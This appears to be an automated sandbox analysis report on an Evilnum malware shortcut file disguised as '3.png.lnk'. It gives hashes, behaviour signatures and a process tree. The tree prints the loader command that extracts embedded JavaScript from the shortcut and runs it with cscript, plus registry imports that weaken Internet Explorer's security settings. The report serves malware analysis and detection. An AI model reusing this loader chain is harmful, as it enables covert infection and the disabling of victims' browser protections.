Analysis

  • max time kernel
    152s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 04:23

General

  • Target

    3.png.lnk

  • Size

    46KB

  • MD5

    12fd4e486b418914dbeedc4effc73426

  • SHA1

    eb046deb4bdf36461bb828967ce15d5123637cee

  • SHA256

    b89cc69c63894c4b263be5a7b7390d3f8500a8ed4834882a7282ebca301e528e

  • SHA512

    302251bedfc04c3b94e6ad6d785aa3623db4b25a05006eca60ef33ab70d6af1a224516deb4c5d33ada0fe2faf2773ca183905c6e65bce2e3fd196ec8beaa2195

Score
10/10

Malware Config

Signatures

  • EvilNum JS Component 3 IoCs
  • Evilnum

    A malware family with multiple components distributed through LNK files.

  • Deletes itself 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer Automatic Crash Recovery 1 TTPs 1 IoCs
  • Modifies Internet Explorer Phishing Filter 1 TTPs 2 IoCs
  • Modifies Internet Explorer Protected Mode 1 TTPs 1 IoCs
  • Modifies Internet Explorer Protected Mode Banner 1 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 49 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\3.png.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1796
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "3.png*lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "3.pn*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "TRU4">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cScRiPt "C:\Users\Admin\AppData\Local\Temp\0.js"
      2⤵
      • Suspicious behavior: RenamesItself
      • Suspicious use of WriteProcessMemory
      PID:872
      • C:\Windows\system32\forfiles.exe
        forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "3.pn*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"
        3⤵
          PID:580
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
          3⤵
            PID:1156
          • C:\Windows\system32\find.exe
            find "TRU4"
            3⤵
              PID:1384
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" rd a"
              3⤵
                PID:452
              • C:\Windows\system32\cscript.exe
                cScRiPt "C:\Users\Admin\AppData\Local\Temp\0.js"
                3⤵
                • Deletes itself
                • Suspicious use of WriteProcessMemory
                PID:988
                • C:\Windows\System32\cscript.exe
                  "C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\MediaPlayer\MediaManager\media.js
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1084
                  • C:\Windows\System32\cscript.exe
                    "C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Local\Temp\reportapi.js
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1656
                    • C:\Windows\System32\reg.exe
                      "C:\Windows\System32\reg.exe" import C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\MediaPlayer\MediaManager\media.reg
                      6⤵
                        PID:112
                      • C:\Windows\System32\reg.exe
                        "C:\Windows\System32\reg.exe" import C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\MediaPlayer\MediaManager\mediaIE.reg
                        6⤵
                        • Modifies Internet Explorer Automatic Crash Recovery
                        • Modifies Internet Explorer Phishing Filter
                        • Modifies Internet Explorer Protected Mode
                        • Modifies Internet Explorer Protected Mode Banner
                        • Modifies Internet Explorer settings
                        PID:556
                      • C:\Windows\System32\cscript.exe
                        "C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Local\Temp\reportapi.js
                        6⤵
                          PID:836
              • C:\Program Files\Internet Explorer\iexplore.exe
                "C:\Program Files\Internet Explorer\iexplore.exe" -startmediumtab -Embedding
                1⤵
                • Modifies Internet Explorer settings
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:1744
                • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1744 CREDAT:275457 /prefetch:2
                  2⤵
                  • Modifies Internet Explorer settings
                  • Suspicious use of SetWindowsHookEx
                  PID:1660

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • memory/1656-65-0x0000000001E60000-0x0000000001E70000-memory.dmp

                Filesize

                64KB

              • memory/1796-54-0x000007FEFC321000-0x000007FEFC323000-memory.dmp

                Filesize

                8KB